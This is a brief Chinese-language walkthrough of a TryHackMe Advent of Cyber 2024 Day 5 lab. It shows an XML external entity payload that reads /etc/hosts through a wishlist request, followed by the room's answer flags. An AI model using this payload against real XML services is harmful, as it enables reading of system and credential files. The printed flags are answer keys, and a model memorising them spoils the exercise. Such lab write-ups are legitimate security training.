0%

THM打靶日寄37-Advent of Cyber 2024:Day5

  • payload

    1
    2
    3
    4
    5
    6
    7
    8
    <!--?xml version="1.0" ?-->
    <!DOCTYPE foo [<!ENTITY payload SYSTEM "/etc/hosts"> ]>
    <wishlist>
    <user_id>1</user_id>
    <item>
    <product_id>&payload;</product_id>
    </item>
    </wishlist>

    更新 xml 请求以包含对外部实体的引用

1
2
3
4
5
What is the flag discovered after navigating through the wishes?
THM{Brut3f0rc1n6_mY_w4y}

What is the flag seen on the possible proof of sabotage?
THM{m4y0r_m4lw4r3_b4ckd00rs}